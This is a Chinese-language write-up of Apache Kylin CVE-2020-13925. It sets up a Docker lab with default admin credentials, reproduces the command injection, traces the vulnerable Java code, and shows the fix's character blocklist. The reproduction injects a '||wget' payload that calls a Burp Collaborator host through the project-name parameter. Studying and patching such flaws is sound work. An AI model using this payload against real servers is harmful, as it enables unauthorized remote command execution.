漏洞信息
NVD - CVE-2020-13925
Similar to CVE-2020-1956, Kylin has one more restful API which concatenates the API inputs into OS commands and then executes them on the server; while the reported API misses necessary input validation, which causes the hackers to have the possibility to execute OS command remotely. Users of all previous versions after 2.3 should upgrade to 3.1.0.
背景介绍
Kylin is a high concurrency, high performance and intelligent OLAP engine that provides low-cost and ultimate data analytics experience.
• 主页:https://kylin.apache.org/
• 源码:https://github.com/apache/kylin
环境搭建
$ docker pull apachekylin/apache-kylin-standalone:3.0.1
$ docker run -d \-m 8G \-p 7070:7070 \-p 8088:8088 \-p 50070:50070 \-p 8032:8032 \-p 8042:8042 \-p 16010:16010 \apachekylin/apache-kylin-standalone:3.0.1
Kylin Web UI: http://127.0.0.1:7070/kylin/login
默认账号:admin、默认密码:KYLIN
【环境搭建】Apache Kylin 各个版本Docker搭建汇总-CSDN博客
【环境搭建】使用Dockerfile构建容器搭建Kylin特定版本-CSDN博客
漏洞复现
参考:CVE-2020-13925、京东蓝军发现Apache Kylin 远程命令执行漏洞报告 CVE-2020-13925]
访问System–>Configuration–>Diagnosis,触发下载诊断信息事件:
Burp抓包:
修改请求,把项目名称learn_kylin
替换为如下Payload:
# Payload
||wget y0z2laz6kry9r390kfcbn4izlqrhf6.burpcollaborator.net||
# Payload Atfer URL Encoding
%7c%7cwget%20y0z2laz6kry9r390kfcbn4izlqrhf6.burpcollaborator.net%7c%7c
xxx.burpcollaborator.net需要通过如下方法从你的Burp Collaborator获取,在Burp中按照如下步骤会直接复制到粘贴板:
再次发包,然后就可以在Burp的Collaborator Client里看到访问记录。
Burp Collaborator使用参考:Burp Collaborator-带外技术工具 - 知乎
漏洞分析
在kylin/server-base/src/main/java/org/apache/kylin/rest/controller/DiagnosisController.java中可以看到Sinks部分的代码,@PathVariable String project
表示从请求路径中获取的项目名称,没有做任何处理直接传入 dgService
的 dumpProjectDiagnosisInfo
方法:
dgService
的 dumpProjectDiagnosisInfo
方法位于kylin/server-base/src/main/java/org/apache/kylin/rest/service/DiagnosisService.java,如下所示:
checkProjectOperationPermission
方法的实现很简单,就是先找到project再确认权限:
具体是通过以下两个函数实现的,可以看到通过projectMap.get
方法寻找这个project实际上就是字典匹配的过程:
private ProjectInstance getProjectInstance(String projectName) {return ProjectManager.getInstance(KylinConfig.getInstanceFromEnv()).getProject(projectName);
}
public ProjectInstance getProject(String projectName) {// Null check is needed for ConcurrentMap does not supporting .get(null)if (projectName == null)return null;try (AutoLock lock = prjMapLock.lockForRead()) {return projectMap.get(projectName);}
}
如果是不存在的project,那么就会返回Null
给aclUtil.hasProjectOperationPermission
方法,但是这个方法这里设定了只要用户是 admin,或拥有 administration/management/operation
权限,就会返回true
:
@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN +" or hasPermission(#project, 'ADMINISTRATION')" +" or hasPermission(#project, 'MANAGEMENT')" +" or hasPermission(#project, 'OPERATION')")
public boolean hasProjectOperationPermission(ProjectInstance project) {return true;
}
所以经过修改的不存在的project绕过了验证,project参数最后和cmd命令进行拼接,构造了恶意执行语句。
实际上,这个漏洞不光存在于project接口,还有job接口也是同理,通过修改jobID也可以完成漏洞利用。
修复方案
过滤代码在src\main\java\org\apache\kylin\common\util\CliCommandExecutor.java
中,采用了黑名单方式过滤:
public static final String COMMAND_BLOCK_LIST = "[ &`>|{}()$;\\#~!+*\\\\]+";public static final String COMMAND_WHITE_LIST = "[^\\w%,@/:=?.\"\\[\\]]";public static final String HIVE_BLOCK_LIST = "[ <>()$;\\-#!+*\"'/=%@]+";/*** <pre>* Check parameter for preventing command injection, replace illegal character into empty character.** Note:* 1. Whitespace is also refused because parameter is a single word, should not contains it* 2. Some character may be illegal but still be accepted because commandParameter maybe a URI/path expression,* you may check "Character part" in https://docs.oracle.com/javase/8/docs/api/java/net/URI.html,* here is the character which is not banned.** 1. dot .* 2. slash /* 3. colon :* 4. equal =* 5. ?* 6. @* 7. bracket []* 8. comma ,* 9. %* </pre>*/public static String checkParameter(String commandParameter) {return checkParameter(commandParameter, COMMAND_BLOCK_LIST);}public static String checkParameterWhiteList(String commandParameter) {return checkParameter(commandParameter, COMMAND_WHITE_LIST);}public static String checkHiveProperty(String hiveProperty) {return checkParameter(hiveProperty, HIVE_BLOCK_LIST);}private static String checkParameter(String commandParameter, String rex) {String repaired = commandParameter.replaceAll(rex, "");if (repaired.length() != commandParameter.length()) {logger.warn("Detected illegal character in command {} by {} , replace it to {}.", commandParameter, rex, repaired);}return repaired;}
命令注入常用的连接符 || && 都被过滤了,这里也过滤了空格。